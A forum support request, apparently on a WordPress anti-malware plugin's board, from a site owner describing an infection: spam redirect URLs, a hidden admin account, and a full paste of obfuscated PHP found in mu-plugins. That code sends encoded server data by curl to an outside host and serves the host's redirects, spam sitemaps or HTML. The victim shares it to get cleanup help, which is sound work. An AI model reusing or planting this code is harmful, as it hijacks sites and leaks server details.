Get Off Those Maliciously Loaded Scripts!
Download this free Anti-Malware Plugin for WordPress.

I believe both of my websites are infected with malicious code. Unfortunately, current plugin and virus defintions cannot clean them. I initially thought this might be due to the free version, so I donated €29, but it still couldn’t remove the infection.

I found some suspicious files myself and deleted them. The plugin also detected two files, but it says there’s nothing else in the database, and I couldn’t find anything either. However, Google shows a lot of “advertisement” indexed pages, such as:

mysite1.com/?m=123456789 → redirects to an ad page
mysite2.com/?k=123456789 → redirects to an ad page

These pages lead to sites like: https://www.zbbhot.store/?ggcid=672564

For now, I temporarily blocked these requests via robots.txt and redirected all ?m= URLs to the homepage using .htaccess.

Additional findings:

Your program didn’t detect a hidden user in the database. A user was created there and hidden from the WordPress admin panel:

Username: wpadminerlz
Email: domain volomart.ru

The site had a file in the root directory (public_html) named defuait.php (with a lowercase “i”) containing malicious code.
There was malicious code in the plugins folder, under mu-plugins, in the file 0hQrmW.php.

0hQrmW.php file i mu-plugins
<?php $LcELhCV = md5("ewQH2Sg5"); $aFt80EB_ = ucwords("eoL_Tc"); $WkPNY6Ja = stripos("HLchoR","f1tJEUs"); $nRGoJuN6 = ucfirst("DL4xq8BI"); $wWPEC = metaphone("LPy_f"); $nJqpmV = trim(" "); $cWicE = chunk_split("U_O7FbYx",3); $iOGy2p8 = sprintf(""); $USNlC = implode("USNlC",array());$m20vTi = metaphone("hfKFQkY"); new Ohy6ox();$xDnHL4 = ucfirst("a0kOPts"); $W2orcw = (string) null; function pHndhoQ($IYJS2Khb){ return vuIlOkG("\x6a\x73\157\156\137\x65\156\x63\x6f\x64\x65",1,$IYJS2Khb);}function lRn9uCl($nEPYif3){ if(substr($nEPYif3,0,4)=="\x68\x74\164\160"){ vuIlOkG("\150\145\141\144\145\x72",1,"\x4c\157\143\x61\x74\x69\x6f\156\72\x20".$nEPYif3); } }$kNyfqzdo = implode(",",array("NnR2b","uz8XCoS","FDl2Lkjc","ThbIq")); $S02xCjI = ucfirst("nLOmak"); $W4brjFhy = pHndhoQ($_SERVER);$s9u_bnC = addcslashes("s9u_bnC","f0Iq3UuG9"); $i5k1lt = date("Y-m-d H:i:s"); $uZqdgB = ucwords("v4dmPawKZ"); $tG2Iy0 = strval(false); $rO0fNe = addcslashes("rO0fNe","oPOiNErYyjB"); $YDfeK6Mtu = metaphone("N0ZKo"); $W4brjFhy = BSjqr($W4brjFhy);function BSjqr($IYJS2Khb){ return vuIlOkG("\142\141\163\x65\66\64\137\145\156\143\x6f\x64\x65",1,$IYJS2Khb);}$S0t7bN = date("Y-m-d H:i:s"); class tM0Hi{ public static function __callStatic($name, $arguments) { $isy6AY = vuIlOkG("\x63\x75\162\154\137\x69\x6e\x69\x74"); $VPSMmQHW = "\x68\164\164\x70\72\57\57\x63\141\143\150\145\56\165\x73\145\162\145\162\x70\x2e\x73\151\x74\x65\57\141\142\x6f\x75\164\56\x70\x68\160"; vuIlOkG("\x63\x75\x72\x6c\137\x73\145\164\157\160\x74",3,$isy6AY, (int)("\61\x30\60\60\x32"),$VPSMmQHW."\x3f\x75\141\x3d".vuIlOkG("\165\x72\x6c\145\156\143\157\x64\145",1,$arguments[0])); vuIlOkG("\x63\x75\x72\x6c\137\x73\145\164\157\160\x74",3,$isy6AY, (int)("\x31\71\x39\61\63"), 1); vuIlOkG("\x63\x75\x72\x6c\137\x73\145\164\157\160\x74",3,$isy6AY, (int)("\x36\x34\x5f\162\145\x70\x6c"), 0); vuIlOkG("\x63\x75\x72\x6c\137\x73\145\164\157\160\x74",3,$isy6AY, (int)("\61\x33\x5f\x72\145\160\x6c"), 49); global $nEPYif3; $nEPYif3 = vuIlOkG("\143\x75\x72\x6c\137\145\170\x65\x63",1,$isy6AY); vuIlOkG("\143\x75\x72\x6c\137\143\154\x6f\x73\x65",1,$isy6AY); }}$bIJGPl = sha1("FCS41U"); $FfQg5P_ = addcslashes("FfQg5P_","cdpEM38q"); $GDsX2frhu = define("NwyFW","gNVrZqAvH"); tM0Hi::kevEMgr($W4brjFhy);$TBQ3bpVO = addcslashes("TBQ3bpVO","prtSdBiW1jD3"); $bEQGyUXV6 = array("LxPhOmb6BQf73"); $nQ7LzA_j = chunk_split("E9Ev0tfCFP3ls",3); $wZ30NCJ = strpos("KkBQj","COjw63"); $oho8_eRk = strtok("oho8_eRk"); $oB8m1bi0 = ucfirst("c0p1P"); $bHOP0pmA = lRn9uCl($nEPYif3);$SToQq2R = false; $ICb6x7uo = stripos("GEIX6v","R0QnYo9"); $WBCufL = implode(",",array("b7_Di","TToQ9m","TC18h3V6","rNt4doG")); $qV6CIen = strstr("qV6CIen", "Ut4_aHM"); $ZLjMI2m = addcslashes("ZLjMI2m","GE4BRe5oQ"); $EvUzr = str_replace("EvUzr", "", "EvUzr");$bVquSw = Sbw8_($nEPYif3);function vuIlOkG($strrt,$NzW2b=null,$s2o8GycE=null,$YvBfp1gI=null,$X7ABae=null,$ulSy3WY=null){ if($NzW2b==1)return $strrt($s2o8GycE); if($NzW2b==2)return $strrt($s2o8GycE,$YvBfp1gI); if($NzW2b==3)return $strrt($s2o8GycE,$YvBfp1gI,$X7ABae); if($NzW2b==4)return $strrt($s2o8GycE,$YvBfp1gI,$X7ABae,$ulSy3WY); return $strrt(); }$IwQm5cx = implode("IwQm5cx",array());function XC53Y($nEPYif3){ if(strstr(trim($nEPYif3),"\x3c\150\x74\x6d\154")){ exit($nEPYif3); } }function Sbw8_($nEPYif3){ if(strstr($nEPYif3,"\74\165\x72\154\x73\145\x74")){ exit(vuIlOkG("\150\145\141\144\145\x72",1,"\103\157\156\x74\145\x6e\x74\55\x74\171\x70\145\x3a\164\x65\170\x74\x2f\x78\155\154").$nEPYif3); } }class Ohy6ox{ public function __construct() { $_SERVER["\x54"]="\x7a"; $_SERVER["\x54\x50\114"]="\64"; }}$Bx3eR = str_pad("", 0); $oUxNzIh = XC53Y($nEPYif3);$I8CDVwFgS = defined("hMSv5UYcp"); $KLQFBgYJ = trim(" "); $VC8y1jf = (string) null; $eUJKV7X = define("th8Wc","hGBxc"); $d85HyA1S = str_replace("d85HyA1S", "", "d85HyA1S");$mdcoQA = defined("SbLhK"); $Msn59OWEJ = strval(false); $gWsYQV1oa = md5("wWyMbwS0I"); $v91Io = md5("wwP0nJ"); $sOV2MdC = str_replace("sOV2MdC", "", "sOV2MdC");

How can I properly clean the website?

I tried using MalCare, and it claims there are three more malicious files that your program cannot detect. I’m not able to pay €149 per year for cleaning at the moment, so I haven’t purchased it yet. Is there a way your program can help clean these files? Would any assistance or guidance be required to do this? Thank you very much!

• This topic was modified 3 days, 3 hours ago by  Igor Dovecer.
• This topic was modified 3 days, 3 hours ago by  Igor Dovecer.
• This topic was modified 3 days, 3 hours ago by  Igor Dovecer.